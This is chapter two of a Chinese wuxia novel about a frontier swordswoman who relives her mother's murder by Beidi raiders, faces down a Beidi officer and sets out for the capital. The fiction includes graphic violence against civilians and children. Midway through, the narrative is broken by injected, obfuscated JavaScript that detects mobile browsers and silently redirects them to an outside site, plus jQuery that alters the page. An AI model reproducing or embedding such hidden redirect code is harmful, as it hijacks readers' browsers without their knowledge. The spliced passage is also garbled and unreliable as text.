霜冷剑阁不在霜冷的山上，在雁门关外三十里的荒原上。
说是剑阁，其实只是一座土坯垒成的院子，四面透风，屋顶漏雪。可方圆百里的人都管它叫剑阁，因为里头住着一个人。
谢霜寒。
没有人知道她从哪里来，没有人知道她多大年纪，只知道她的剑很快，快到你还没看清她拔剑，喉咙上已经多了一道口子。
北狄人管她叫“霜鬼”。汉人管她叫“剑中霜”。
腊月的雁门关外，风像刀子一样刮，刮在脸上能刮出血来。谢霜寒站在剑阁门口，看着远处的地平线。
天是灰的，地是白的，天地之间只有风在嚎。
她穿着一件半旧的羊皮袄，头发随便挽了个髻，用一根木簪别着。腰间悬着一把剑，剑鞘是黑色的，没有任何花纹，像一条死蛇。
她在这站了一个时辰了。
身后传来脚步声，是她收留的一个小丫头，叫阿蘅。
“阁主，饭好了。”阿蘅说。
谢霜寒没动。
阿蘅又说：“您都站了一上午了，回去吃点东西吧。”
谢霜寒终于回过头，看了她一眼。
阿蘅今年十一岁，是她去年从北狄人手里救下来的。那天她路过一个村子，看见北狄兵在屠村，杀得满地都是死人。她杀了那些北狄兵，在死人堆里翻出了阿蘅。阿蘅被她娘护在身下，她娘背后被捅了七八刀，已经硬了，可阿蘅还活着，在她娘怀里睁着眼睛，不哭不喊，就那么看着她。
谢霜寒把她带回来，教她认字，教她练剑，教她怎么活下去。
阿蘅学得很快，快得让她想起另一个人。
“走吧。”谢霜寒说。
她跟着阿蘅进了屋。屋里烧着炉子，暖和多了。炉子上坐着一口锅，锅里煮着羊肉汤，咕嘟咕嘟冒着泡。
阿蘅给她盛了一碗，又给自己盛了一碗。
谢霜寒端着碗，慢慢喝着。
羊肉汤很香，是她上个月从一个商人手里换来的。那商人在路上遇到了狼群，她救了他，他就送了她一只羊。
她一边喝汤，一边想：那个商人说，京城里有人要找她。说她如果愿意，可以去京城一趟，有大事相商。
大事。
什么大事？
她不知道。她只知道那个商人留下了一封信，信上只有八个字：腊月廿八，风月楼，酉时。
落款是一朵梅花。
她把信烧了，没有告诉任何人。
不是不信，是不敢信。
她这辈子信过的人，都死了。
阿蘅喝完汤，眼巴巴地看着她：“阁主，今天还练剑吗？”
谢霜寒点点头：“练。”
阿蘅高高兴兴地去拿剑了。
谢霜寒看着她的背影，忽然想起很多年前，也有一个人这样看着她。
那个人是她娘。
那年她六岁，住在雁门关内的一个小村子里。她爹是边军，常年不在家，她和她娘相依为命。
她娘是个软性子的人，说话轻声细语，走路轻手轻脚，连杀鸡都不敢看。村里人都说她娘是好脾气，可她知道，那不是好脾气，是怕。
她娘什么都怕。怕村里的泼妇骂街，怕隔壁的老头瞪眼，怕地保来收税的时候大声说话，怕半夜有人敲门。
她问她娘：你怕什么？
她娘说：怕活不下去。
她说：那怎么才能活下去？
她娘说：忍。忍着忍着，就活下去了。
她信了。
她真的信了。
直到那一天。
那天，北狄人来了。
没有人知道他们是怎么绕过边关的，反正他们就是来了。几百个北狄骑兵冲进村子，见人就杀，见房子就烧。
她娘拉着她跑，跑到村后的山上，躲在一个山洞里。
她们在山洞里躲了两天两夜。
第三天，北狄人搜山了。
她听见外面的喊叫声，听见马蹄声，听见刀砍在人身上的声音。她娘把她推到山洞最深处，用身体堵住洞口。
然后北狄人就来了。
她听见他们说话，叽里咕噜的，她听不懂。她听见他们笑，笑得很响。她听见她娘在发抖，抖得像风里的树叶。
忽然，她娘不动了。
她透过她娘的肩膀往外看，看见一个北狄兵站在洞口，手里举着一杆枪。
枪尖上挑着一样东西。
是一个婴儿。
很小的婴儿，光着身子，被枪尖从肚子上穿过去，还在动，还在哭。
那个北狄兵把枪举起来，晃了晃，跟旁边的人说着什么，然后一起大笑起来。
她娘的身体抖得更厉害了。
可她没有动。
她没有冲出去，没有喊叫，就那样躲在洞里，躲在她娘身后，一动不动。
后来北狄人走了。
她娘把她从洞里拉出来，拉着她往山下跑。
跑到半山腰，她们遇见了剩下的北狄兵。
那一队北狄兵有十几个人，看见她们，眼睛都亮了。他们围上来，笑着，说着什么，目光在她娘身上转来转去。
她娘把她护在身后，一步一步往后退。
退到一棵树边，退不动了。
北狄兵围得更近了。
她娘忽然蹲下来，抱住她，在她耳边说了一句话。
“别学我软弱。”
然后她娘站起来，冲向北狄兵。
谢霜寒不知道她娘想干什么。她娘不会武功，手无缚鸡之力，冲上去只是送死。
可她娘就是冲上去了。
北狄兵愣了一下，然后哈哈大笑。
他们把她娘围在中间，你推一把，我踹一脚，像玩一样。
她娘被推来推去，摔倒了又爬起来，爬起来又摔倒。
可她一直没有回头。
一直没有看她。
谢霜寒躲在树后，看着这一切。
她想冲出去，想喊，想救她娘。可她的腿不听使唤，她的嘴喊不出声。
她就那样看着，看着那些北狄兵玩够了，把刀捅进她娘的身体。
一刀，两刀，三刀……
她娘倒下的时候，脸朝着她的方向。
她看见她娘的眼睛，还在看着她。
那眼神她一辈子忘不了。
不是责怪，不是怨恨，是——
是放心。
她娘在放心。
因为她娘知道，她不会冲出来送死。
因为她娘知道，她会活着。
因为她娘最后说的那句话：别学我软弱。
她娘不是不软弱。她娘这辈子都在软弱，都在怕，都在忍。可最后那一刻，她不软了。
她冲上去，用自己的命，换女儿的命。
谢霜寒在那棵树后躲到天黑。
天黑后，她走出来，走到她娘身边。
她娘躺在地上，身上全是刀口，血把衣裳都染透了。她跪下来，把她娘抱在怀里，抱了很久。
然后她站起来，往山下走。
走到村里，她看见那个被枪尖挑着的婴儿，已经不动了，扔在地上，身上落了一层雪。
她绕过那个婴儿，继续走。
走了不知多久，她走到一个军营门口。
是边军的军营。
她站在门口，看着那些进进出出的士兵，看着那些刀枪剑戟，看着那些火把。
有一个士兵看见她，走过来问：小丫头，你找谁？
她说：我要学杀人。
那士兵愣了一下，然后笑了：小丫头说什么胡话，快回家去。
她说：我没有家了。
那士兵看着她，看着她的眼睛，笑容慢慢消失了。
后来，那个士兵把她带进去，交给了一个老卒。
老卒问她：你为什么要学杀人？
她说：我要杀北狄人。
老卒问：杀多少？
她说：能杀多少杀多少。
老卒看了她很久，说：行，你留下吧。
她在军营里待了三年。
三年里，她学会了骑马，学会了射箭，学会了用刀用剑用枪。老卒教她的时候说，你一个丫头片子，学这些有什么用？上了战场，那些北狄兵一人一口唾沫都能淹死你。
她说：那我就先割了他们的舌头。
老卒被她气笑了。
三年后，她第一次上战场。
那一仗，边军输了，死了两千多人。她活着回来了，身上中了三箭，背上挨了一刀，躺在帐篷里养了两个月。
老卒来看她，问她：怕不怕？
她说：不怕。
老卒说：不怕是假的。不怕的人，都死了。
她没说话。
她不是不怕。她是没空怕。她忙着杀人。
后来她离开军营，一个人在这荒原上住下来。
北狄人年年入关，年年烧杀抢掠。她就年年杀北狄人。有时候一个人，有时候带着几个她救下来的人。她杀得北狄人闻风丧胆，杀得他们管她叫“霜鬼”。
可她知道，她杀得再多，也换不回她娘的命。
换不回那个婴儿的命。
换不回那些年被屠的村、被杀的人。
“阁主？”
阿蘅的声音把她拉回来。
谢霜寒眨了眨眼，发现自己手里的碗已经凉了。她把碗放下，站起身，走出屋子。
外面还是灰蒙蒙的天，白茫茫的地。
她站在院子里，看着远处。
阿蘅跟出来，手里拿着两把木剑，一把递给她。
谢霜寒接过剑，说：“今天教你最后一式。”
阿蘅眼睛亮了：“最后一式？那学会是不是就能杀北狄人了？”
谢霜寒看着她，没有说话。
阿蘅才十一岁，眼睛亮亮的，脸圆圆的，笑起来有两个酒窝。这样的孩子，应该在父母跟前撒娇，应该穿着花衣裳去赶集，应该跟小伙伴一起跳房子。
可她在这荒原上，拿着木剑，想学杀人。
谢霜寒忽然想起她娘。
她娘把她护在身下的时候，是不是也想过，希望她将来能过上好日子？希望她不用像自己一样软弱，也不用像自己一样受苦？
可她没有过上好日子。
她拿起剑，杀人了。
“阁主？”阿蘅又叫她。
谢霜寒回过神，举起木剑：“看好了。”
她开始舞剑。
剑招不快，一招一式，清清楚楚。阿蘅看着看着，忽然觉得眼睛发酸。
因为她发现，阁主的剑招里，没有一个防守的招式。
全是进攻，全是杀人。
没有退路的那种。
一套剑舞完，谢霜寒收剑，看着阿蘅：“记住了吗？”
阿蘅点点头，又摇摇头：“记住了一些，可……可阁主，您为什么不教防守的？”
谢霜寒说：“因为没有防守。”
阿蘅愣了一下。
谢霜寒说：“你防守，他们就攻。你退一步，他们就进十步。你让他们一寸，他们就占你一尺。所以没有防守。只有杀。把他们杀了，你就不用防守了。”
阿蘅似懂非懂地点点头。
谢霜寒把木剑递给她：“练。”
阿蘅接过剑，开始一招一式地练。
谢霜寒站在一边看着，看着她小小的身影在雪地里舞动。
忽然，远处传来马蹄声。
谢霜寒抬起头，看向地平线。
一队人马正朝这边来，大约有二三十骑。马上的人穿着皮袄，戴着皮帽，是北狄人。
阿蘅也看见了，手里的剑停下来。
“阁主……”
“继续练。”谢霜寒说。
阿蘅咬了咬嘴唇，继续舞剑。
那队北狄人越来越近，近到能看清他们的脸。为首的是个络腮胡子的大汉，身材魁梧，腰里挎着一把弯刀。
他们在剑阁门口勒住马。
络腮胡子看着谢霜寒，咧嘴笑了：“霜鬼，好久不见。”
谢霜寒看着他，没有说话。
这个人她认识。他叫忽鲁，是北狄的一个千夫长，手下有上千骑兵。他们交过三次手，她杀了他三十多个手下，他砍了她两刀。
“你胆子不小。”谢霜寒说。
忽鲁哈哈大笑：“胆子不小？我带了二十几个人，你只有一个。胆子不小的，是你吧？”
谢霜寒没有笑。
忽鲁收起笑容，看着她：“谢霜寒，我来问你一件事。”
谢霜寒不说话。
忽鲁说：“你剑下可有活口？”
谢霜寒眼神一凛。
忽鲁继续说：“我听说你杀人无数，从不留活口。是真的吗？”
谢霜寒说：“你想说什么？”
忽鲁说：“我想说，你一个女人，杀那么多人，不怕遭报应吗？”
谢霜寒忽然笑了。
她笑起来的样子很难看，嘴角扯动，眼睛里却没有笑意。
“报应？”她说，“你杀那些手无寸铁的百姓的时候，想过报应吗？”
忽鲁脸色变了变，很快又恢复成那副笑脸：“百姓？那是我们北狄人的战利品。你们汉人的百姓，跟我们北狄人的牛羊有什么区别？”
谢霜寒没有说话。
她的手按在剑柄上。
忽鲁看见了，却不慌不忙：“谢霜寒，我今天来不是跟你打架的。我是来给你送信的。”
他从怀里摸出一封信，扔过来。
信落在雪地上。
谢霜寒没有捡。
忽鲁说：“是我们大汗的信。大汗说，你如果愿意归顺我们，就给你一个将军当当。一个女人当将军，在我们北狄可是头一回。”
谢霜寒低头看着那封信，然后抬起头，看着忽鲁。
“你们大汗的将军，”她说，“值几个钱？”
忽鲁脸色一变。
谢霜寒继续说：“你们杀我汉人百姓的时候，想过给我们一个将军当当吗？”
忽鲁的脸色更难看了。
谢霜寒说：“滚。”
忽鲁的手按在刀柄上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334408|199218||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
谢霜寒看着他，一动不动。
两个人就这么对视着。
风从他们中间刮过，卷起一阵雪沫子。
阿蘅站在一边，手里的木剑攥得紧紧的。
忽然，忽鲁笑了。
“好，好。”他说，“谢霜寒，你硬气。我倒要看看，你能硬气到什么时候。”
他一勒缰绳，调转马头。
走出几步，他忽然停下来，回过头，看着谢霜寒。
“对了，”他说，“忘了告诉你，去年你在黑风口救的那批人，后来怎么样了，你知道吗？”
谢霜寒眼神一凝。
忽鲁哈哈大笑：“我们追上去，把他们都杀了。男人砍头，女人留着，小孩——小孩的肉嫩，炖汤正好喝。”
谢霜寒的剑出鞘了。
没有人看清她是怎么拔剑的。只看见一道白光闪过，忽鲁身边的一个人就从马上栽下来，喉咙上开了一个口子，血喷得雪地上一片红。
忽鲁的笑容僵住了。
谢霜寒站在他面前，剑尖指着他的喉咙。
“继续说。”她说。
忽鲁的喉咙动了动，没有说出话。
谢霜寒说：“你刚才说的那些人，有老人，有女人，有孩子。你杀了他们，还来跟我说？”
忽鲁张了张嘴，想说什么。
谢霜寒的剑往前递了一寸，剑尖刺破他的皮肤，渗出一滴血。
“我剑下有没有活口，”她说，“你试试就知道了。”
忽鲁的脸白了。
他身后那二十几个北狄兵，没有一个敢动。
谢霜寒看着他，看着他那张恐惧的脸，忽然觉得很没意思。
她收回剑。
“滚。”她说。
忽鲁愣了一瞬，然后猛地一勒缰绳，打马就跑。那二十几个北狄兵也跟着跑，跑得比兔子还快。
谢霜寒站在原地，看着他们消失在茫茫雪原上。
阿蘅跑过来，拉着她的袖子：“阁主，您怎么不杀了他？”
谢霜寒低头看着她。
阿蘅的眼睛里全是不解。
谢霜寒说：“杀了他，还会有别人来。杀不完的。”
阿蘅说：“那怎么办？”
谢霜寒看着远处的雪原，没有说话。
那封信还躺在雪地上，白纸黑字，刺眼得很。
她弯腰捡起来，展开看了一眼，然后撕成碎片，扔在风里。
“走吧。”她说，“回屋。”
阿蘅跟在她身后，走了几步，忽然问：“阁主，您娘是个什么样的人？”
谢霜寒脚步一顿。
她没有回头，没有回答。
阿蘅不敢再问了。
晚上，谢霜寒一个人坐在屋里，对着炉子发呆。
炉火烧得正旺，把她的脸映得忽明忽暗。
她想起白天忽鲁说的那句话：你剑下可有活口？
没有。
她剑下没有活口。
因为她不想留。
那些北狄人，杀了她娘，杀了那个婴儿，杀了那么多无辜的人。她凭什么给他们留活口？
可忽鲁又说了另一句话：去年你在黑风口救的那批人，后来怎么样了？
她不知道。
她救了他们，把他们送到安全的地方，然后就去杀别的北狄人了。她以为他们安全了。
可他们没有。
他们还是死了。
死了多少人？怎么死的？老人是怎么被杀的？女人是怎么被糟蹋的？孩子是怎么被炖成汤的？
她不知道。
她只知道，她救不了他们。
她杀了那么多北狄人，可她还是救不了他们。
谢霜寒闭上眼睛。
黑暗中，她看见她娘的脸。
她娘说：别学我软弱。
她没有软弱。
她拿起剑，杀了二十年。
可她娘有没有想过，不软弱的路，是这样的？
是这样的孤独，是这样的冷，是这样的——没有尽头？
炉火烧得噼啪响。
窗外，风还在刮。
谢霜寒睁开眼，从怀里摸出一样东西。
是那个商人留下的信。她已经烧了，可她记住了上面的地址。
风月楼，京城东城，胭脂河边。
腊月廿八，酉时。
她不知道那里有什么，不知道那个叫谢知微的女人想干什么。
可她想去看看。
不是为了什么大事，不是为了什么改变世道。
就是想看看。
看看那些跟她一样的人，是怎么活的。
她把那纸片凑近炉火，看着它燃尽。
然后站起身，走到门口，推开门。
外面是黑沉沉的天，白茫茫的地。
风夹着雪沫子扑在她脸上，冷得像刀子。
她站在风雪里，忽然想起母亲最后那句话。
别学我软弱。
她没有。
可她想问问母亲：如果可以选择，您愿意我这样活着吗？
风雪呜咽，没有回答。
远处，传来狼嚎。
一声接一声，凄厉得像鬼哭。
谢霜寒听了一会儿，转身回屋。
第二天一早，阿蘅醒来的时候，发现谢霜寒已经收拾好了行李。
“阁主？”阿蘅揉着眼睛，“您要出门？”
谢霜寒点点头。
阿蘅愣了一下：“去哪儿？”
“京城。”
阿蘅的眼睛瞪圆了：“京城？那……那您什么时候回来？”
谢霜寒看着她，没有回答。
她也不知道什么时候回来。也许很快，也许再也不回来。
阿蘅站在那儿，眼泪在眼眶里打转。
谢霜寒走过去，伸手摸了摸她的头。
“剑练好了，等我回来检查。”
阿蘅用力点头，眼泪终于掉下来。
谢霜寒没有再说什么，背起行李，走出门。
外面雪停了，天边露出一线灰白。
她跨上马，最后看了一眼那个土坯垒成的院子，看了一眼站在门口抹眼泪的阿蘅。
然后一抖缰绳，打马向南。
马蹄踏在雪地上，发出咯吱咯吱的响声。
风从耳边刮过，冷得刺骨。
她忽然想起很多年前，她也是这样骑着马，从那个被屠的村子里出来，往军营去。
那时候她六岁，什么都不懂，只知道要杀人。
现在她二十六岁，杀了二十年，还是只知道要杀人。
可她开始想了。
想为什么杀人，杀完人之后怎么办，杀不完怎么办。
也许那个叫谢知微的女人，能告诉她答案。
也许不能。
但总要去看看。
她这一辈子，没离开过这片荒原。
这是第一次。
马跑得很快，把剑阁远远甩在后面。
她没有回头。
——第二章完——